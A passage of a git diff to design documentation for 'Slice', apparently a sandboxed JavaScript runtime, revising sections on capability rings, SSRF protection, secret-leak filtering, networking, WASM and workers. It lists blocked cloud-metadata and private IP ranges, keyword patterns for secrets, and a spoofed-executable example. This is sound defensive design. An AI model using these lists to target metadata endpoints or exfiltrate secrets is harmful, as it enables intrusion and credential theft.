that the target path starts with an explicitly granted `allowed_read_prefixes` or `allowed_write_prefixes` entry from `slice.toml` or `--allow-read`/`--allow-write`. - - [`verify_exec_binary`](../../crates/slice-sandbox/src/lib.rs) and [`exec_binary_matches`](../../crates/slice-sandbox/src/lib.rs) gate `node:child_process` (`__slice_child_process_spawn_sync`) against `allowed_exec_binaries` (`--allow-exec`, `SLICE_ALLOW_EXEC`, `[capabilities] allow_exec`), blocking unlisted binaries and path-spoofed executables (`/tmp/evil/git` when `/usr/bin/git` is granted) with `SandboxViolation::ExecDenied`, sanitizing child environments via `Command::env_clear()` to only `BOA_ENV_MAP`, and scanning child `stdout`/`stderr` through `verify_egress_secrets_slice`. - - Enforced across **both** Tier-0 `SLICESNP` (`BytecodeOp::VfsRead`) and Tier-1 `SLICEBOA` native `node:fs` and `node:child_process` host functions. -3. **Ring 3 — Outbound Network Allowlisting (`NetCap`) & Pre-Connect DNS Resolved-IP SSRF Firewall:** - - [`verify_net_connect`](../../crates/slice-sandbox/src/lib.rs) blocks any `fetch()`, `WebSocket`, or TCP/TLS/UDP socket connection to a `host:port` not explicitly listed in `allowed_net_hosts` (`SandboxViolation::NetAccessDenied`). - - [`resolve_and_verify_ssrf_socket_addrs`](../../crates/slice-engine/src/net/outbound_http.rs) resolves DNS before `TcpStream::connect_timeout` and inspects every resolved IPv4, IPv6, and IPv4-mapped IPv6 (`::ffff:...`) address against [`is_cloud_metadata_ip`](../../crates/slice-sandbox/src/lib.rs) (`169.254.169.254`, `fd00:ec2::254`, `100.100.100.200`) and [`is_private_or_loopback_ip`](../../crates/slice-sandbox/src/lib.rs) (RFC 1918 `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, CGNAT `100.64.0.0/10`, loopback `127.0.0.0/8`, `::1`), defeating DNS-rebinding SSRF attacks. -4. **Ring 4 — Scoped Environment Capabilities (`EnvCap`), `.env` Auto-DLP, & Outbound Egress Secret DLP Firewall:** - - [`verify_env_read`](../../crates/slice-sandbox/src/lib.rs) isolates tenant secrets in an explicit per-compartment key-value map (`SandboxViolation::EnvAccessDenied`). - - When `--env-file=.env` is loaded, [`is_sensitive_env_key_or_val`](../../crates/slice-cli/src/config_and_watch.rs) automatically classifies high-entropy tokens and keys matching `SECRET`, `TOKEN`, `KEY`, `PASSWORD`, or `CREDENTIAL` as egress-protected secrets. +2. **Ring 2 - Attenuated VFS Read/Write (`FsCap`) & Subprocess Binary (`ExecCap`) Object Capabilities:** + - [`verify_fs_read`](../../crates/slice-sandbox/src/vfs/mod.rs) and [`verify_fs_write`](../../crates/slice-sandbox/src/vfs/mod.rs) reject any path containing `..` traversal segments and verify that the target path starts with an explicitly granted `allowed_read_prefixes` or `allowed_write_prefixes` entry from `slice.toml` or `--allow-read`/`--allow-write`. + - [`verify_exec_binary`](../../crates/slice-sandbox/src/vfs/mod.rs) and [`exec_binary_matches`](../../crates/slice-sandbox/src/vfs/mod.rs) gate `node:child_process` (`__slice_child_process_spawn_sync` in [`bindings/child_process.rs`](../../crates/slice-engine/src/bindings/child_process.rs)) against `allowed_exec_binaries` (`--allow-exec`, `SLICE_ALLOW_EXEC`, `[capabilities] allow_exec`), blocking unlisted binaries and path-spoofed executables (`/tmp/evil/git` when `/usr/bin/git` is granted) with `SandboxViolation::ExecDenied`, sanitizing child environments via `Command::env_clear()` to only `BOA_ENV_MAP`, and scanning child `stdout`/`stderr` through `verify_egress_secrets_slice`. + - Enforced across **both** Tier-0 `SLICESNP` (`BytecodeOp::VfsRead`) and Tier-1 `SLICEBC\x01`/`SLICEBOA` native `node:fs` and `node:child_process` host functions. +3. **Ring 3 - Outbound Network Allowlisting (`NetCap`) & Pre-Connect DNS Resolved-IP SSRF Firewall:** + - [`verify_net_connect`](../../crates/slice-sandbox/src/net/mod.rs) blocks any `fetch()`, `WebSocket`, or TCP/TLS/UDP socket connection to a `host:port` not explicitly listed in `allowed_net_hosts` (`SandboxViolation::NetAccessDenied`). + - [`resolve_and_verify_ssrf_socket_addrs`](../../crates/slice-engine/src/net/outbound_http.rs) resolves DNS before `TcpStream::connect_timeout` and inspects every resolved IPv4, IPv6, and IPv4-mapped IPv6 (`::ffff:...`) address against [`is_cloud_metadata_ip`](../../crates/slice-sandbox/src/net/mod.rs) (`169.254.169.254`, `fd00:ec2::254`, `100.100.100.200`) and [`is_private_or_loopback_ip`](../../crates/slice-sandbox/src/net/mod.rs) (RFC 1918 `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, CGNAT `100.64.0.0/10`, loopback `127.0.0.0/8`, `::1`), defeating DNS-rebinding SSRF attacks. +4. **Ring 4 - Scoped Environment Capabilities (`EnvCap`), `.env` Auto-DLP, & Outbound Egress Secret DLP Firewall:** + - [`verify_env_read`](../../crates/slice-sandbox/src/compartment/mod.rs) isolates tenant secrets in an explicit per-compartment key-value map (`SandboxViolation::EnvAccessDenied`). + - When `--env-file=.env` is loaded via [`config/mod.rs`](../../crates/slice-cli/src/config/mod.rs), [`is_sensitive_env_key`](../../crates/slice-sandbox/src/manifest/dotenv.rs) automatically classifies high-entropy tokens and keys matching `SECRET`, `TOKEN`, `KEY`, `PASSWORD`, or `CREDENTIAL` as egress-protected secrets. - [`verify_egress_secrets_slice`](../../crates/slice-engine/src/isolate/state_and_kv.rs) inspects `stdout`, `returnValue`, HTTP response bodies, SSE chunks, outbound `fetch()` URLs/headers/bodies, WebSocket frames, and raw TCP/UDP payloads for raw, standard Base64, and URL-safe Base64 encodings of registered secrets, trapping with `SandboxViolation::EnvAccessDenied { key: "EGRESS_SECRET_LEAK_BLOCKED" }` (`0.00 ns` cost when no secrets are registered). -5. **Ring 5 — Deterministic CPU Fuel & Memory Cage + Linux `WRPKRU` Hardware MPK:** +5. **Ring 5 - Deterministic CPU Fuel & Memory Cage + Linux `WRPKRU` Hardware MPK:** - Every operation deducts instruction fuel (`consume_fuel`) and tracks heap bytes (`alloc_memory`), preempting infinite `while (true) {}` loops in `< 10 us` (`SandboxViolation::CpuFuelExhausted`). - - Before evaluating code in [`SliceIsolate::exec_boa_full_es_vm`](../../crates/slice-engine/src/isolate/mod.rs), Slice configures `realm.ctx.runtime_limits_mut().set_loop_iteration_limit(remaining_fuel)` and `set_recursion_limit(512)`, translating loop or call-stack exhaustion inside `Boa` directly into `SandboxViolation::CpuFuelExhausted`. - - On Linux `x86_64`, [`HardwareProtectionDomain`](../../crates/slice-sandbox/src/lib.rs) allocates hardware memory protection keys via `SYS_pkey_alloc` (syscall 330) and switches page permissions in `< 20` CPU cycles using the unprivileged `WRPKRU` instruction. + - Before evaluating code in [`SliceIsolate::exec_boa_full_es_vm`](../../crates/slice-engine/src/isolate/exec_boa.rs), Slice configures `realm.ctx.runtime_limits_mut().set_loop_iteration_limit(remaining_fuel)` and `set_recursion_limit(512)`, translating loop or call-stack exhaustion inside `Boa` directly into `SandboxViolation::CpuFuelExhausted`. + - On Linux `x86_64`, [`HardwareProtectionDomain`](../../crates/slice-sandbox/src/compartment/pkey.rs) allocates hardware memory protection keys via `SYS_pkey_alloc` (syscall 330) and switches page permissions in `< 20` CPU cycles using the unprivileged `WRPKRU` instruction. --- ## 2. Untrusted Entrypoint & AI Code-Mode Directive Lockdown (`// @slice-*`) -Implemented in [`ResolvedExecutionConfig::apply_inline_directives`](../../crates/slice-cli/src/config_and_watch.rs) and [`SliceManifest`](../../crates/slice-sandbox/src/lib.rs): -- **Default Monotonic Attenuation (`trust_directives == false`):** By default, top-of-file `// @slice-*` source directives parsed by [`parse_inline_directives`](../../crates/slice-sandbox/src/lib.rs) cannot escalate privileges when executing untrusted or AI-generated entrypoints (`slice run agent_script.ts`): +Implemented in [`ResolvedExecutionConfig::apply_inline_directives`](../../crates/slice-cli/src/config/mod.rs) and [`SliceManifest`](../../crates/slice-sandbox/src/manifest/mod.rs): +- **Default Monotonic Attenuation (`trust_directives == false`):** By default, top-of-file `// @slice-*` source directives parsed by [`parse_inline_directives`](../../crates/slice-sandbox/src/manifest/directives.rs) cannot escalate privileges when executing untrusted or AI-generated entrypoints (`slice run agent_script.ts`): - `fuel` and `memory_bytes` are clamped via `self.fuel_limit.min(f)` and `self.memory_limit_bytes.min(mb)` (cannot exceed host limits). - `allow_read`, `allow_write`, `allow_net`, and `allow_env` are strictly intersected against existing host-granted capabilities in `self.caps` (`slice_sandbox::vfs_prefix_matches` for VFS prefixes, wildcard/exact host matching for `allowed_net_hosts`, and existing key membership for `allowed_env_keys`). - `env_file`, `port`, and `workers` inline directives are ignored unless `trust_directives` is `true`, while `audit_egress` remains always-additive. - **Explicit Host Opt-In (`--trust-directives` / `SLICE_TRUST_DIRECTIVES=1` / `trust_directives = true`):** Only when the host explicitly enables `trust_directives` (via `[capabilities] trust_directives = true` in `slice.toml`, `SLICE_TRUST_DIRECTIVES=1`, or `--trust-directives`) do inline directives apply additively. Passing `--no-directives` or `--untrusted` bypasses `apply_inline_directives` altogether. -- **In-Process `Slice.evalSandbox` & `slice mcp` Immunity:** [`SliceIsolate::eval_sandbox`](../../crates/slice-engine/src/isolate/mod.rs) and `slice_eval_ts` never call `apply_inline_directives`, guaranteeing that embedded `// @slice-allow-*` or `// @slice-fuel` comments inside sandboxed code snippets have zero effect on child `CapabilityToken` or resource budgets. - +- **In-Process `Slice.evalSandbox` & `slice mcp` Immunity:** [`SliceIsolate::eval_sandbox`](../../crates/slice-engine/src/isolate/kv_and_sandbox.rs) and `slice_eval_ts` never call `apply_inline_directives`, guaranteeing that embedded `// @slice-allow-*` or `// @slice-fuel` comments inside sandboxed code snippets have zero effect on child `CapabilityToken` or resource budgets. diff --git a/docs/system/04_networking_wintertc_and_event_loop.md b/docs/system/04_networking_wintertc_and_event_loop.md index 1350f57..8b9d06a 100644 --- a/docs/system/04_networking_wintertc_and_event_loop.md +++ b/docs/system/04_networking_wintertc_and_event_loop.md @@ -1,6 +1,6 @@ # Networking, WinterTC Web Platform & Async Event Loop Architecture -This document details Slice's multi-worker HTTP/1.1 server (`slice serve`), 3-level asynchronous concurrency model, outbound HTTPS/TLS 1.3 client (`outbound_http.rs`), deterministic time-travel event loop (`event_loop.rs`), RFC 6455 WebSocket engine (`websocket.rs`), raw TCP/TLS/UDP sockets (`sockets.rs`), and WinterTC + Node Core Tier-1 API surface. +This document details Slice's multi-worker HTTP/1.1 server (`slice serve` in [`crates/slice-cli/src/server/mod.rs`](../../crates/slice-cli/src/server/mod.rs)), 3-level asynchronous concurrency model, outbound HTTPS/TLS 1.3 client ([`outbound_http.rs`](../../crates/slice-engine/src/net/outbound_http.rs)), deterministic time-travel event loop ([`event_loop.rs`](../../crates/slice-engine/src/runtime/event_loop.rs)), RFC 6455 WebSocket engine ([`websocket.rs`](../../crates/slice-engine/src/net/websocket.rs)), raw TCP/TLS/UDP sockets ([`sockets.rs`](../../crates/slice-engine/src/net/sockets.rs)), and WinterTC + Node Core Tier-1 API surface. --- @@ -18,7 +18,7 @@ This document details Slice's multi-worker HTTP/1.1 server (`slice serve`), 3-le | | - In-place reset_for_request| | - In-place reset_for_request| | - In-place reset | | | +--------------+--------------+ +--------------+--------------+ +-------------+-------------+ | | | | | | -| Level 2: Per-Isolate Deterministic Event Loop (`crates/slice-engine/src/event_loop.rs`) | +| Level 2: Per-Isolate Deterministic Event Loop (`crates/slice-engine/src/runtime/event_loop.rs`) | | +--------------+--------------------------------+-------------------------------+-------------+ | | | - Zero-Cost Sync Fast-Path (`ACTIVE_ASYNC_ITEMS == 0` -> 0.00 ns scheduler overhead) | | | | - Priority Queue: Sync -> `process.nextTick` -> `Promise.then`/`queueMicrotask` | | @@ -34,17 +34,17 @@ This document details Slice's multi-worker HTTP/1.1 server (`slice serve`), 3-le +---------------------------------------------------------------------------------------------------+ ``` -- **Zero-Allocation Stack HTTP/1.1 Parser & Vectorized Pipelined Flushing ([`serve_connection_keep_alive`](../../crates/slice-cli/src/http_server.rs)):** +- **Zero-Allocation Stack HTTP/1.1 Parser & Vectorized Pipelined Flushing ([`server/mod.rs`](../../crates/slice-cli/src/server/mod.rs) & [`serve_connection_keep_alive`](../../crates/slice-cli/src/server/connection.rs)):** - Each worker thread in the `--workers=N` shared-nothing pool pre-allocates a reusable `64 KB` socket read buffer (`read_buf`) and `4 KB` write buffer (`write_buf`). - - Incoming HTTP/1.1 requests are scanned in-place via [`find_http_header_end`](../../crates/slice-cli/src/http_server.rs) with zero heap `String` allocations, extracting up to 16 headers into a stack-allocated `[(&str, &str); 16]` array (`headers_stack`). + - Incoming HTTP/1.1 requests are scanned in-place via [`find_http_header_end`](../../crates/slice-cli/src/server/connection.rs) with zero heap `String` allocations, extracting up to 16 headers into a stack-allocated `[(&str, &str); 16]` array (`headers_stack`). - When multiple pipelined HTTP/1.1 requests arrive in a single TCP read (`has_more_pipelined`), responses are accumulated into `write_buf` and flushed in a single vectorized `stream.write_all(write_buf)` system call. - **In-Place Isolate Reset ([`SliceIsolate::reset_for_request`](../../crates/slice-engine/src/isolate/mod.rs)) & Direct `JsObject::call`:** - Each worker resets its `SliceIsolate` in place, entering a fresh `HardwareProtectionDomain` (`WRPKRU`) and resetting CPU fuel and memory counters in nanoseconds. - - On warm `SLICEBOA` hits, [`WarmBoaRealm::loaded_bundles`](../../crates/slice-engine/src/runtime/boa_realm.rs) stores the compiled `boa_engine::JsObject` entrypoint function handle and invokes `fn_obj.call(...)` directly in Rust, completely bypassing JS source lexing and `ctx.eval`. + - On warm `SLICEBC\x01`/`SLICEBOA` hits, [`WarmBoaRealm::loaded_bundles`](../../crates/slice-engine/src/runtime/boa_realm.rs) stores the compiled `boa_engine::JsObject` entrypoint function handle and invokes `fn_obj.call(...)` directly in Rust, completely bypassing JS source lexing and `ctx.eval`. - **WinterTC Request/Response, Static Assets (`ETag`), `Response.sse`, & Post-Response `Slice.waitUntil(fn)`:** - Supports both `export default { async fetch(request, env, ctx) }` and `Slice.request()` / `Slice.respond(...)`. - In-memory static asset table serves `304 Not Modified` `BLAKE3` `ETag` hits in `< 2 us`. - - Deferred `ctx.waitUntil` / `Slice.waitUntil` callbacks are drained via [`drain_wait_until_tasks`](../../crates/slice-engine/src/isolate/mod.rs) **after** the HTTP response bytes have been flushed to the client socket, while still charging CPU fuel to the tenant's compartment budget. + - Deferred `ctx.waitUntil` / `Slice.waitUntil` callbacks are drained via [`drain_wait_until_tasks`](../../crates/slice-engine/src/isolate/http_and_ws.rs) **after** the HTTP response bytes have been flushed to the client socket, while still charging CPU fuel to the tenant's compartment budget. --- @@ -69,16 +69,15 @@ This document details Slice's multi-worker HTTP/1.1 server (`slice serve`), 3-le ## 4. RFC 6455 WebSocket Engine (`websocket.rs`) & 5-Ring Raw TCP/TLS/UDP Sockets (`sockets.rs`) -- **RFC 6455 WebSockets ([`crates/slice-engine/src/websocket.rs`](../../crates/slice-engine/src/net/websocket.rs)):** +- **RFC 6455 WebSockets ([`crates/slice-engine/src/net/websocket.rs`](../../crates/slice-engine/src/net/websocket.rs)):** - Zero-dependency RFC 6455 engine (`compute_websocket_accept_key`, 4-byte `u32` XOR masking `apply_websocket_mask_in_place`, `encode_websocket_frame`, `decode_websocket_frame`, `read_websocket_message_from_stream` with fragmented continuation reassembly and automatic `Ping`/`Pong` heartbeats, client `ws://`/`wss://` sessions, server upgrade `Response.websocket`, `Slice.mockWebSocket`, and per-frame Outbound Egress Secret DLP). -- **Zero-Trust OCap TCP/TLS/UDP Sockets ([`crates/slice-engine/src/sockets.rs`](../../crates/slice-engine/src/net/sockets.rs)):** +- **Zero-Trust OCap TCP/TLS/UDP Sockets ([`crates/slice-engine/src/net/sockets.rs`](../../crates/slice-engine/src/net/sockets.rs)):** - Powers WinterTC `Slice.connect` / `import { connect } from "cloudflare:sockets"`, `node:net`, `node:tls` (including `startTls()`), and `node:dgram` under all 5 security rings (`NetCap`, Pre-Connect DNS SSRF, Egress Secret DLP, CPU Fuel, and Memory Cage), plus deterministic `Slice.mockSocket` / `Slice.mockUdpSocket`. --- ## 5. WinterTC Minimum Common Web Platform API & `Uint8Array`-Backed `Buffer` + Node Core Tier-1 -- **WinterTC Web Platform API:** `URL`, `URLSearchParams`, `Headers`, `Request`, `Response`, `fetch`, `TextEncoder` (`encode`, `encodeInto`), `TextDecoder` (`utf-8`, `ascii`, `iso-8859-1`, `fatal: true`), `btoa`/`atob`, `crypto.randomUUID`, `crypto.getRandomValues`, `crypto.subtle` (`SHA-1/256/384/512`, `HMAC`, `timingSafeEqual`, JWK/raw), `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal.any`, `Blob`, `File`, `FormData`, `structuredClone`, `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, and ECMA-262 Annex B `escape`/`unescape`. +- **WinterTC Web Platform API ([`crates/slice-engine/src/preludes/js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs)):** `URL` (`canParse`), `URLPattern`, `URLSearchParams`, `Headers`, `Request`, `Response` (`Response.sse`), `fetch`, `EventSource`, `TextEncoder` (`encode`, `encodeInto`), `TextDecoder` (`utf-8`, `ascii`, `iso-8859-1`, `fatal: true`), `btoa`/`atob`, `crypto.randomUUID`, `crypto.getRandomValues`, `crypto.subtle` (`SHA-1/256/384/512`, `HMAC`, `AES-GCM`/`AES-CBC`, `Ed25519`, `ECDSA`, `RSA`, `X25519`/`ECDH`, `PBKDF2`/`HKDF`, `timingSafeEqual`, JWK/PKCS#8/SPKI/raw), `DOMException`, `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal` (`timeout`, `any`, `abort`), `Blob`, `File`, `FormData`, `structuredClone`, `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, `CompressionStream`, `DecompressionStream`, `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`), `navigator`, `location`, and `WebAssembly`. - **Real `Uint8Array`-Backed `Buffer` (`Object.setPrototypeOf(Buffer.prototype, Uint8Array.prototype)`):** True `Uint8Array` subclass (`b instanceof Uint8Array === true`, `Buffer.isBuffer(b) === true`) with `DataView`-accelerated wire-protocol integer readers/writers (`readUInt8/16/32BE/LE`, `readBigUInt64BE/LE`, `writeUInt8/16/32BE/LE`, `writeBigUInt64BE/LE`). -- **Lazy IIFE-Isolated `node:*` Core Modules ([`crates/slice-engine/src/node_builtins.rs`](../../crates/slice-engine/src/preludes/node_builtins.rs)):** `node:events`, `node:path` (`posix`/`win32`), `node:crypto`, `node:fs` & `node:fs/promises`, `node:util` & `node:util/types`, `node:assert` / `node:assert/strict`, `node:timers` & `node:timers/promises`, `node:os`, `node:url`, `node:buffer`, `node:net`, `node:tls`, `node:dgram`, and `node:worker_threads`. - +- **Lazy IIFE-Isolated `node:*` Core Modules ([`crates/slice-engine/src/preludes/node_builtins.rs`](../../crates/slice-engine/src/preludes/node_builtins.rs)):** `node:events`, `node:path` (`posix`/`win32`), `node:crypto`, `node:fs` & `node:fs/promises`, `node:util` & `node:util/types`, `node:assert` / `node:assert/strict`, `node:timers` & `node:timers/promises`, `node:os`, `node:url`, `node:buffer`, `node:stream` & `node:stream/web`, `node:http` & `node:https`, `node:zlib`, `node:async_hooks`, `node:string_decoder`, `node:querystring`, `node:net`, `node:tls`, `node:dgram`, `node:dns`, `node:vm`, `node:child_process`, and `node:worker_threads`. diff --git a/docs/system/05_wasm_workers_and_kernel_io.md b/docs/system/05_wasm_workers_and_kernel_io.md index 3035ed9..5eb075c 100644 --- a/docs/system/05_wasm_workers_and_kernel_io.md +++ b/docs/system/05_wasm_workers_and_kernel_io.md @@ -1,15 +1,15 @@ # Pure-Rust WebAssembly, Capability-Attenuated Web Workers & Direct Kernel I/O -This document covers Slice's Pure-Rust WebAssembly engine (`wasm.rs` via `wasmi` `v2.0.0`), capability-attenuated MicroVM Web Workers and `node:worker_threads` (`workers.rs`), direct kernel completion rings (`slice-io`: Linux `io_uring` & Windows `IOCP`), and OS-native kernel event file watching (`OsNativeFileWatcher`). +This document covers Slice's Pure-Rust WebAssembly engine ([`wasm.rs`](../../crates/slice-engine/src/runtime/wasm.rs) via `wasmi` `v2.0.0`), capability-attenuated MicroVM Web Workers and `node:worker_threads` ([`workers.rs`](../../crates/slice-engine/src/runtime/workers.rs)), direct kernel completion rings ([`slice-io`](../../crates/slice-io/src/lib.rs): Linux `io_uring` & Windows `IOCP`), and OS-native kernel event file watching ([`OsNativeFileWatcher`](../../crates/slice-cli/src/config/watcher.rs)). --- ## 1. Pure-Rust WebAssembly Engine (`wasmi` `v2.0.0`), `GLOBAL_WASM_MODULE_CACHE` & 5-Ring WASM Cage -Implemented in [`crates/slice-engine/src/wasm.rs`](../../crates/slice-engine/src/runtime/wasm.rs) and [`crates/slice-engine/src/preludes/09_wasm.js`](../../crates/slice-engine/src/preludes/09_wasm.js): +Implemented in [`crates/slice-engine/src/runtime/wasm.rs`](../../crates/slice-engine/src/runtime/wasm.rs) and [`crates/slice-engine/src/preludes/09_wasm.js`](../../crates/slice-engine/src/preludes/09_wasm.js): 1. **Zero Overhead When Unused (`Shard 9`):** - - `globalThis.WebAssembly` is registered as a self-replacing lazy getter (`__defLazy(["WebAssembly"], 9)` in `00_ultra_core.js`) and gated in `detect_needed_shards` so non-WASM workloads pay `0.00 ns` and `0 B`. + - `globalThis.WebAssembly` is registered as a self-replacing lazy getter (`__defLazy(["WebAssembly"], 9)` via `LAZY_GETTERS_INIT_PRELUDE`) and gated in `detect_shards_and_boacas_flags` so non-WASM workloads pay `0.00 ns` and `0 B`. 2. **Speculative `GLOBAL_WASM_MODULE_CACHE`:** - A process-wide `OnceLock` (`CompilationMode::LazyTranslation`, `consume_fuel(true)`) + `RwLock>` validates and translates each `.wasm` binary at most once per process, enabling `< 15 us` warm module instantiation across isolates and worker threads. 3. **Zero-Stat `.wasm` Module Bundling (`slice-cas`):** @@ -25,13 +25,13 @@ Implemented in [`crates/slice-engine/src/wasm.rs`](../../crates/slice-engine/src ## 2. Capability-Attenuated MicroVM Web Workers & `node:worker_threads` (`workers.rs`) -Implemented in [`crates/slice-engine/src/workers.rs`](../../crates/slice-engine/src/runtime/workers.rs) and [`crates/slice-engine/src/preludes/08_workers_sockets.js`](../../crates/slice-engine/src/preludes/08_workers_sockets.js): +Implemented in [`crates/slice-engine/src/runtime/workers.rs`](../../crates/slice-engine/src/runtime/workers.rs) and [`crates/slice-engine/src/preludes/08_workers_sockets.js`](../../crates/slice-engine/src/preludes/08_workers_sockets.js): - **Standards-Compliant Surface:** Supports both WhatWG `new Worker(urlOrInlineSource, options)` (`postMessage`, `onmessage`, `terminate`), `MessageChannel`, `MessagePort`, `BroadcastChannel`, and Node.js `node:worker_threads` (`Worker`, `isMainThread`, `parentPort`, `workerData`, `threadId`). - **Strict Parent-Child OCap Intersection ([`build_attenuated_worker_caps`](../../crates/slice-engine/src/runtime/workers.rs)):** - - A child worker's `CapabilityToken` is strictly intersected with its parent isolate's capabilities (`parent_caps ∩ child_requested_caps`). A worker can never escalate filesystem, network, or environment privileges beyond its parent compartment, and worker CPU fuel and memory budgets are capped by the parent's remaining limits. + - A child worker's `CapabilityToken` is strictly intersected with its parent isolate's capabilities (`parent_caps` intersect `child_requested_caps`). A worker can never escalate filesystem, network, or environment privileges beyond its parent compartment, and worker CPU fuel and memory budgets are capped by the parent's remaining limits. - **Persistent Warm Worker Pool (`IDLE_WORKER_POOL`) & `WORKER_SCRIPT_CACHE`:** - - Rather than spawning a fresh OS thread and initializing a cold `Boa` realm (`~15 ms`) per `new Worker()`, Slice maintains a warm `IDLE_WORKER_POOL` with speculative pre-warming (`speculative_prewarm_worker_pool`) and caches transpiled worker scripts by `BLAKE3` fingerprint in `WORKER_SCRIPT_CACHE` (`__SLICE_RC`), driving warm multi-worker execution (`App 22`) down to **`2.00 ms`** (`28.08 ms` cold vs Bun's `44.24 ms`). + - Rather than spawning a fresh OS thread and initializing a cold `Boa` realm per `new Worker()`, Slice maintains a warm `IDLE_WORKER_POOL` with speculative pre-warming (`speculative_prewarm_worker_pool`) and caches transpiled worker scripts by `BLAKE3` fingerprint in `WORKER_SCRIPT_CACHE` (`__SLICE_RC`), keeping multi-worker cold and warm execution latency low (see **[`tests/reports/latest.md`](../../tests/reports/latest.md)** for `22-worker-threads-and-raw-sockets` benchmarks). --- @@ -40,8 +40,7 @@ Implemented in [`crates/slice-engine/src/workers.rs`](../../crates/slice-engine/ ### 3.1 [`crates/slice-io`](../../crates/slice-io/src/lib.rs): `io_uring`, `IOCP`, & `RegisteredBufferPool` 64 KB Fetch Slabs - **Registered Slab Buffers (`RegisteredBufferPool`):** Pre-allocates 64 page-aligned fixed `64 KB` buffers (`FIXED_BUFFER_COUNT = 64`, `FIXED_BUFFER_SIZE = 65536`) with O(1) slot acquisition (`acquire_slot` / `buffer_mut`) and release (`release`). Integrated directly into `outbound_http::send_and_read_framed_http11` (`SHARED_FETCH_SLAB_POOL` + `FetchSlabSlotGuard`) and `event_loop::FetchReactorPool` (`MAX_FETCH_REACTOR_WORKERS = 16`) for zero-leak concurrent `fetch()` staging. - **Linux `io_uring` (`CompletionRingEngine`):** Attempts kernel ring setup with `IORING_SETUP_SQPOLL` (`IoUring::builder().setup_sqpoll(1000)`), enabling autonomous kernel thread submission polling with **0 system calls** on the hot path, and automatically falls back to standard `io_uring` or user-space completion rings inside unprivileged Docker seccomp profiles. -- **Windows NT `IOCP`:** Binds directly to `CreateIoCompletionPort`, `PostQueuedCompletionStatus`, and `GetQueuedCompletionStatus` via `kernel32.dll` FFI, processing `10,000` completions in `0.02 ms - 5.26 ms`. - -### 3.2 OS-Native Kernel Event File Watcher ([`OsNativeFileWatcher`](../../crates/slice-cli/src/config_and_watch.rs)) -- Uses the cross-platform `notify` (`v8.2`) crate (`inotify` on Linux, `ReadDirectoryChangesW` on Windows, `FSEvents`/`kqueue` on macOS) with a `15 ms` debounce window and automatic fingerprint fallback (`collect_watch_fingerprint`) to power zero-idle-CPU live reload (`4.92 ms` rebuild+rerun) across `slice run --watch`, `slice test --watch` / `--watch-once`, and `slice serve --watch`. +- **Windows NT `IOCP`:** Binds directly to `CreateIoCompletionPort`, `PostQueuedCompletionStatus`, and `GetQueuedCompletionStatus` via `kernel32.dll` FFI, processing `10,000` completions in sub-millisecond to low-millisecond batches. +### 3.2 OS-Native Kernel Event File Watcher ([`config/mod.rs`](../../crates/slice-cli/src/config/mod.rs) & [`OsNativeFileWatcher`](../../crates/slice-cli/src/config/watcher.rs)) +- Uses the cross-platform `notify` (`v8.2`) crate (`inotify` on Linux, `ReadDirectoryChangesW` on Windows, `FSEvents`/`kqueue` on macOS) with a `15 ms` debounce window and automatic fingerprint fallback (`collect_watch_fingerprint`) to power zero-idle-CPU live rebuild-and-rerun across `slice run --watch` and `slice test --watch` / `--watch-once` (while multi-tenant HTTP servers hot-swap updated `.cas` bundles atomically via `slice serve --tenant-dir=`). diff --git a/docs/system/06_edge_kv_ai_sandbox_and_mcp.md b/docs/system/06_edge_kv_ai_sandbox_and_mcp.md index 113fd6c..3c8060e 100644 --- a/docs/system/06_edge_kv_ai_sandbox_and_mcp.md +++ b/docs/system/06_edge_kv_ai_sandbox_and_mcp.md @@ -7,9 +7,9 @@ This document covers Slice's 16-way sharded in-memory Edge KV (`Slice.kv`), zero ## 1. Multi-Tenant Serverless & Edge KV Primitives (`Slice.kv`, `--tenant-dir`, `--deterministic`) - **16-Way Sharded In-Memory Edge KV & Atomic Counter Slab ([`EDGE_KV_SLAB`](../../crates/slice-engine/src/isolate/state_and_kv.rs)):** - - Backed by `OnceLock<[Mutex>; 16]>` partitioned by `(tenant_id, key)` using `FxHasher` low 4 bits (`0..15`) for lock-free multi-core scaling across `--workers=N` (`586.10 us` for 1,001 KV operations = **`0.58 us/op`**). + - Backed by `OnceLock<[Mutex>; 16]>` partitioned by `(tenant_id, key)` using `FxHasher` low 4 bits (`0..15`) for lock-free multi-core scaling across `--workers=N` (`< 1 us/op`; see **[`tests/reports/latest.md`](../../tests/reports/latest.md)**). - Supports `Slice.kv.get(key)`, `Slice.kv.set(key, val, ttlMs)`, `Slice.kv.del(key)`, and atomic 64-bit `Slice.kv.incr(key, delta)`. Every write charges its byte delta against `BOA_KV_MEM_BUDGET` and `compartment.alloc_memory(bytes)`, trapping with `SandboxViolation::MemoryCeilingExceeded` if a tenant exceeds its memory ceiling. -- **Multi-Tenant Dynamic `.cas` Router & Zero-Downtime Atomic Hot-Swap ([`resolve_tenant_bytecode_hotswap`](../../crates/slice-cli/src/http_server.rs)):** +- **Multi-Tenant Dynamic `.cas` Router & Zero-Downtime Atomic Hot-Swap ([`resolve_tenant_bytecode_hotswap`](../../crates/slice-cli/src/server/mod.rs)):** - When `slice serve --tenant-dir=` is active, each worker resolves `X-Slice-Tenant: ` or URL prefix `/t//...` to `/.cas` (falling back to `/default.cas`). - Thread-local `TENANT_CAS_CACHE` tracks `(mtime_ns, file_len, Arc>)`. When a `.cas` file is atomically replaced on disk, the worker automatically maps the new `.cas` archive and pre-warms its `__slice_rc` closure with zero dropped TCP connections. - **Opt-In Deterministic Replay Mode ([`SliceIsolate::set_deterministic_seed`](../../crates/slice-engine/src/isolate/mod.rs)):** @@ -40,17 +40,16 @@ This document covers Slice's 16-way sharded in-memory Edge KV (`Slice.kv`), zero +---------------------------------------------------------------------------------------------------+ ``` -1. **Dynamic Sub-Isolate Spawning with Strict Capability Attenuation ([`SliceIsolate::eval_sandbox`](../../crates/slice-engine/src/isolate/mod.rs)):** +1. **Dynamic Sub-Isolate Spawning with Strict Capability Attenuation ([`SliceIsolate::eval_sandbox`](../../crates/slice-engine/src/isolate/kv_and_sandbox.rs)):** - An orchestrator script or MCP host can evaluate untrusted 